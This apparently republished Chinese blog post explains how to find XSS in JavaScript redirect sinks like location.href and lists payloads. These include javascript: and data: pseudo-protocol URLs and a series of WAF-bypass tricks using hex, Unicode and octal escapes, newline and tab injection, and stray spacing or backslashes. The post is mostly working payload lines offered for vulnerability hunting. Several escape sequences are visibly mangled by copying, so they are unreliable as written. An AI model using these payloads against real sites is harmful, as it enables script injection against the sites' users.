• 漏洞挖掘技巧之利用javascript:


      好久没更新博客了,更新一波。  

      场景:    

      window.location.href=””
      location=””
      location.href=””
      window.location.*

      

    常见地点:任何二次跳转处
    可能存在问题的参数:*_url ,url_*,url

    危害:跳转和xss

        

    首选xss
    最简单的:
    伪协议 ,以location为例子
    location=”javascript:alert(1) ”
    location=”javascript:alert(1) ”

    利用伪协议2:
    location=”data:html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg”
    base64编码可以不要==

    漏洞挖掘发现每次都过滤javascript:(这里不探讨过滤了alert怎么绕过。)
    一系列绕过思路:
    x JS十六进制
    javascript: -> x6Ax61x76x61x73x63x72x69x70x74x3a
    location="x6Ax61x76x61x73x63x72x69x70x74x3aalert(1)"

    u Unicode编码
    javascript:-> u006Au0061u0076u0061u0073u0063u0072u0069u0070u0074u003a

    如果waf拦截了x u怎么绕过?
    方法:换行攻击
    +换行[%0a]
    java\%0ascript

    %0a可以替换成%0d或者是%09

    如果waf拦截了x u ,并且还拦截%0x怎么绕过?

    方法:
    随机插入
    location="j ava script: alert(1)"

    多加几个 没关系
    location="j ava scri p t: alert(1)"

    如果waf拦截x u %0x,并且还过滤 怎么绕过?
    方法1:JS 八进制
    javascript: -> 15214116614116314316215116016472
    利用:
    location="15214116614116314316215116016472alert(1)"

    方法2:万能的斜杠
    javascript:alert(1)
    location="javascript:alert(1)"

    少加点也是可以的

    排版有点差。。。我从doc文档复制过来的,将就看吧。

  • 相关阅读:
    单例模式的八种写法
    反射
    工厂模式
    Java内存分配、管理小结
    Java 反射(二)
    Java反射
    servlet的web-xml配置详解
    substr和substring的区别
    C/C++中extern关键字详解
    lua总则
  • 原文地址:https://www.cnblogs.com/piaomiaohongchen/p/11416457.html
Copyright © 2020-2023  润新知